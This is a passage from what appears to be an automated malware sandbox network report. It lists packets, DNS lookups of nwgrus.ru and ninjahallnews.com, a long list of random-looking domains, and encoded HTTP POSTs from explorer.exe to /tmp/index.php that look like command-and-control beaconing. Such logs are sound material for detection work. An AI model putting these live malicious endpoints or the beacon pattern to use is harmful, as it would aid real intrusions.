Oct 8, 2024 00:21:35.197943926 CEST	50058	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:35.197983980 CEST	50058	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:35.202824116 CEST	80	50058	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:36.959933996 CEST	50059	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:36.966422081 CEST	80	50059	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:36.966501951 CEST	50059	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:36.966672897 CEST	50059	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:36.966702938 CEST	50059	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:36.973114014 CEST	80	50059	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:36.974662066 CEST	80	50059	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:37.723088026 CEST	80	50059	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:37.723496914 CEST	80	50059	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:37.723611116 CEST	50059	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:37.723700047 CEST	50059	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:37.728559017 CEST	80	50059	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:38.989212990 CEST	50060	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:38.994251966 CEST	80	50060	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:38.994314909 CEST	50060	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:38.994489908 CEST	50060	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:38.994489908 CEST	50060	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:38.999910116 CEST	80	50060	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:38.999989033 CEST	80	50060	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:39.804027081 CEST	80	50060	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:39.805140018 CEST	80	50060	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:39.805320024 CEST	50060	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:39.805421114 CEST	50060	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:39.812751055 CEST	80	50060	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:51.591862917 CEST	50061	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:51.598803997 CEST	80	50061	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:51.598872900 CEST	50061	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:51.599035978 CEST	50061	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:51.599056005 CEST	50061	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:51.606118917 CEST	80	50061	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:51.608006954 CEST	80	50061	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:52.354597092 CEST	80	50061	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:52.355051994 CEST	80	50061	109.175.29.39	192.168.2.4
Oct 8, 2024 00:21:52.355257034 CEST	50061	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:52.356561899 CEST	50061	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:21:52.363363981 CEST	80	50061	109.175.29.39	192.168.2.4
Oct 8, 2024 00:22:07.694593906 CEST	50062	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:22:07.699466944 CEST	80	50062	109.175.29.39	192.168.2.4
Oct 8, 2024 00:22:07.699584961 CEST	50062	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:22:07.699738979 CEST	50062	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:22:07.699768066 CEST	50062	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:22:07.704714060 CEST	80	50062	109.175.29.39	192.168.2.4
Oct 8, 2024 00:22:07.704726934 CEST	80	50062	109.175.29.39	192.168.2.4
Oct 8, 2024 00:22:08.471247911 CEST	80	50062	109.175.29.39	192.168.2.4
Oct 8, 2024 00:22:08.472786903 CEST	80	50062	109.175.29.39	192.168.2.4
Oct 8, 2024 00:22:08.472860098 CEST	50062	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:22:08.472944975 CEST	50062	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:22:08.478990078 CEST	80	50062	109.175.29.39	192.168.2.4
Oct 8, 2024 00:22:26.981128931 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:26.981177092 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:26.981710911 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:26.981712103 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:26.981750965 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:27.552356958 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:27.552483082 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:27.553685904 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:27.553694010 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:27.553940058 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:27.582811117 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:27.582858086 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:27.583077908 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:27.911839008 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:27.911931992 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:27.912015915 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:27.912128925 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:27.912151098 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:27.912240982 CEST	50063	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:27.912245989 CEST	443	50063	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:28.574995041 CEST	50064	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:22:28.579853058 CEST	80	50064	211.171.233.129	192.168.2.4
Oct 8, 2024 00:22:28.579948902 CEST	50064	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:22:28.580086946 CEST	50064	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:22:28.580101013 CEST	50064	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:22:28.584973097 CEST	80	50064	211.171.233.129	192.168.2.4
Oct 8, 2024 00:22:28.584996939 CEST	80	50064	211.171.233.129	192.168.2.4
Oct 8, 2024 00:22:30.172260046 CEST	80	50064	211.171.233.129	192.168.2.4
Oct 8, 2024 00:22:30.172914982 CEST	80	50064	211.171.233.129	192.168.2.4
Oct 8, 2024 00:22:30.172981977 CEST	50064	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:22:30.174947977 CEST	50064	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:22:30.181123018 CEST	80	50064	211.171.233.129	192.168.2.4
Oct 8, 2024 00:22:49.156351089 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:49.156460047 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:49.156564951 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:49.156943083 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:49.156980038 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:49.725234985 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:49.725334883 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:49.726571083 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:49.726594925 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:49.726866007 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:49.728025913 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:49.728060961 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:49.728121996 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:50.083858013 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:50.084044933 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:50.084129095 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:50.084191084 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:50.084228992 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:50.084255934 CEST	50065	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:22:50.084270954 CEST	443	50065	23.145.40.168	192.168.2.4
Oct 8, 2024 00:22:51.264605999 CEST	50066	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:22:51.269917011 CEST	80	50066	211.171.233.129	192.168.2.4
Oct 8, 2024 00:22:51.270133972 CEST	50066	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:22:51.271368027 CEST	50066	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:22:51.271368027 CEST	50066	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:22:51.276216030 CEST	80	50066	211.171.233.129	192.168.2.4
Oct 8, 2024 00:22:51.276231050 CEST	80	50066	211.171.233.129	192.168.2.4
Oct 8, 2024 00:22:52.888025045 CEST	80	50066	211.171.233.129	192.168.2.4
Oct 8, 2024 00:22:52.888273954 CEST	80	50066	211.171.233.129	192.168.2.4
Oct 8, 2024 00:22:52.888319969 CEST	50066	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:22:52.888880968 CEST	50066	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:22:52.895714045 CEST	80	50066	211.171.233.129	192.168.2.4
Oct 8, 2024 00:23:13.661993980 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:23:13.662033081 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 00:23:13.662115097 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:23:13.662417889 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:23:13.662422895 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 00:23:14.224329948 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 00:23:14.224401951 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:23:14.225620985 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:23:14.225625992 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 00:23:14.225884914 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 00:23:14.226563931 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:23:14.226592064 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:23:14.226624012 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 00:23:14.580030918 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 00:23:14.580107927 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 00:23:14.580163956 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:23:14.580327988 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:23:14.580343962 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 00:23:14.580355883 CEST	50067	443	192.168.2.4	23.145.40.168
Oct 8, 2024 00:23:14.580360889 CEST	443	50067	23.145.40.168	192.168.2.4
Oct 8, 2024 00:23:16.750488997 CEST	50068	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:23:16.756223917 CEST	80	50068	211.171.233.129	192.168.2.4
Oct 8, 2024 00:23:16.756345987 CEST	50068	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:23:16.756416082 CEST	50068	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:23:16.756416082 CEST	50068	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:23:16.762480021 CEST	80	50068	211.171.233.129	192.168.2.4
Oct 8, 2024 00:23:16.763006926 CEST	80	50068	211.171.233.129	192.168.2.4
Oct 8, 2024 00:23:20.287751913 CEST	80	50068	211.171.233.129	192.168.2.4
Oct 8, 2024 00:23:20.288213968 CEST	80	50068	211.171.233.129	192.168.2.4
Oct 8, 2024 00:23:20.288275003 CEST	50068	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:23:20.288321972 CEST	50068	80	192.168.2.4	211.171.233.129
Oct 8, 2024 00:23:20.296267033 CEST	80	50068	211.171.233.129	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 00:19:53.624926090 CEST	51373	53	192.168.2.4	1.1.1.1
Oct 8, 2024 00:19:54.639575005 CEST	51373	53	192.168.2.4	1.1.1.1
Oct 8, 2024 00:19:55.656968117 CEST	51373	53	192.168.2.4	1.1.1.1
Oct 8, 2024 00:19:55.727994919 CEST	53	51373	1.1.1.1	192.168.2.4
Oct 8, 2024 00:19:55.728008986 CEST	53	51373	1.1.1.1	192.168.2.4
Oct 8, 2024 00:19:55.728013039 CEST	53	51373	1.1.1.1	192.168.2.4
Oct 8, 2024 00:20:41.741137028 CEST	54060	53	192.168.2.4	1.1.1.1
Oct 8, 2024 00:20:41.782227993 CEST	53	54060	1.1.1.1	192.168.2.4
Oct 8, 2024 00:22:28.020339012 CEST	60886	53	192.168.2.4	1.1.1.1
Oct 8, 2024 00:22:28.574058056 CEST	53	60886	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 00:19:53.624926090 CEST	192.168.2.4	1.1.1.1	0x7a5e	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:54.639575005 CEST	192.168.2.4	1.1.1.1	0x7a5e	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.656968117 CEST	192.168.2.4	1.1.1.1	0x7a5e	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:20:41.741137028 CEST	192.168.2.4	1.1.1.1	0x1e50	Standard query (0)	ninjahallnews.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:22:28.020339012 CEST	192.168.2.4	1.1.1.1	0x478b	Standard query (0)	nwgrus.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 00:19:48.535267115 CEST	1.1.1.1	192.168.2.4	0xc1fc	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 00:19:48.535267115 CEST	1.1.1.1	192.168.2.4	0xc1fc	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.727994919 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		109.175.29.39	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.727994919 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		185.18.245.58	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.727994919 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		190.147.128.172	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.727994919 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		220.125.3.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.727994919 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		123.213.233.131	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.727994919 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		190.249.249.14	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.727994919 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		186.123.165.48	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.727994919 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		190.219.117.240	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.727994919 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		187.211.161.52	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.727994919 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		154.144.253.197	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728008986 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		109.175.29.39	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728008986 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		185.18.245.58	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728008986 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		190.147.128.172	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728008986 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		220.125.3.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728008986 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		123.213.233.131	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728008986 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		190.249.249.14	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728008986 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		186.123.165.48	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728008986 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		190.219.117.240	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728008986 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		187.211.161.52	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728008986 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		154.144.253.197	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728013039 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		109.175.29.39	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728013039 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		185.18.245.58	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728013039 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		190.147.128.172	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728013039 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		220.125.3.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728013039 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		123.213.233.131	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728013039 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		190.249.249.14	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728013039 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		186.123.165.48	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728013039 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		190.219.117.240	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728013039 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		187.211.161.52	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:19:55.728013039 CEST	1.1.1.1	192.168.2.4	0x7a5e	No error (0)	nwgrus.ru		154.144.253.197	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:20:22.805046082 CEST	1.1.1.1	192.168.2.4	0x809a	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 00:20:22.805046082 CEST	1.1.1.1	192.168.2.4	0x809a	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:20:41.782227993 CEST	1.1.1.1	192.168.2.4	0x1e50	No error (0)	ninjahallnews.com		23.145.40.168	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:22:28.574058056 CEST	1.1.1.1	192.168.2.4	0x478b	No error (0)	nwgrus.ru		211.171.233.129	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:22:28.574058056 CEST	1.1.1.1	192.168.2.4	0x478b	No error (0)	nwgrus.ru		189.143.207.58	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:22:28.574058056 CEST	1.1.1.1	192.168.2.4	0x478b	No error (0)	nwgrus.ru		181.28.104.6	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:22:28.574058056 CEST	1.1.1.1	192.168.2.4	0x478b	No error (0)	nwgrus.ru		190.224.203.37	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:22:28.574058056 CEST	1.1.1.1	192.168.2.4	0x478b	No error (0)	nwgrus.ru		181.52.122.51	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:22:28.574058056 CEST	1.1.1.1	192.168.2.4	0x478b	No error (0)	nwgrus.ru		130.204.29.121	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:22:28.574058056 CEST	1.1.1.1	192.168.2.4	0x478b	No error (0)	nwgrus.ru		2.185.214.11	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:22:28.574058056 CEST	1.1.1.1	192.168.2.4	0x478b	No error (0)	nwgrus.ru		212.112.110.243	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:22:28.574058056 CEST	1.1.1.1	192.168.2.4	0x478b	No error (0)	nwgrus.ru		46.100.50.5	A (IP address)	IN (0x0001)	false
Oct 8, 2024 00:22:28.574058056 CEST	1.1.1.1	192.168.2.4	0x478b	No error (0)	nwgrus.ru		123.213.233.131	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

23.145.40.164

https:

ninjahallnews.com

fopeiyjgdmtd.com

nwgrus.ru

bwtyrvoeqafgvbf.net

xghchnsekruohq.net

sexbgcirilxygdjd.net

iahhcvfewaqau.net

eqcqgpejtwdt.net

wecknsvepmdnww.com

bhtdcxedsrrbqyo.net

fdkltibbufmpdfhy.org

xbdoluaokmu.org

ayakqtnprwclxx.com

iplbmyqhcsowave.com

rdhamasxmtwwkau.com

floxumtvcvrlyy.org

mjtfeuwpovhathn.org

nggsthvsetexec.org

lrkgjwlbfxyrmp.com

wvxsqrgovrq.net

ivjlkhscvhyfno.org

gwvqwjkmpeg.org

cqnqsxdlukmk.org

dlawyaqdtqgx.net

gxrfdgbwqcu.net

mihbhgkrdwqnogym.com

bhprxmbpfsifjwvd.com

vqoayhqrgjlg.com

cmfmcxiuegbxwbfb.org

bojujhdxlnt.net

lbaiglgwxhkmq.net

oxivfaqdhau.net

eihcpyqadleca.net

olgjjvecsjugbyj.com

wjiuupaachvppk.com

csuhbuxabuhlm.org

lixbbuexbbyxijy.com

snydbdaflsjf.net

toxykxlssds.com

wujymmrsholuwdm.com

anhllontjkcoc.org

dfdglghjacuv.net

efoitwxyetuahvcx.com

wgvksgwflrvxis.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:19:55.737164021 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fopeiyjgdmtd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 244 Host: nwgrus.ru
Oct 8, 2024 00:19:55.737196922 CEST	244	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 5a 24 a6 a3 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA .[k,vuZ$mqtq]HR\W\|\$<1,L":Dd^\{I4@yw7ql\|*X,au{<pg~BMd
Oct 8, 2024 00:19:56.520555973 CEST	152	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:19:56 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 04 00 00 00 72 e8 87 ed Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:19:57.174031019 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bwtyrvoeqafgvbf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 300 Host: nwgrus.ru
Oct 8, 2024 00:19:57.174042940 CEST	300	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 3d 00 dd e8 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA -[k,vu=k;lCN9>s:.f/Zc3`5$@(&+Vk.$y~;j+P=(l."jHWpyv$cmbeA.B7
Oct 8, 2024 00:19:57.933917046 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:19:57 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:19:57.944235086 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xghchnsekruohq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 111 Host: nwgrus.ru
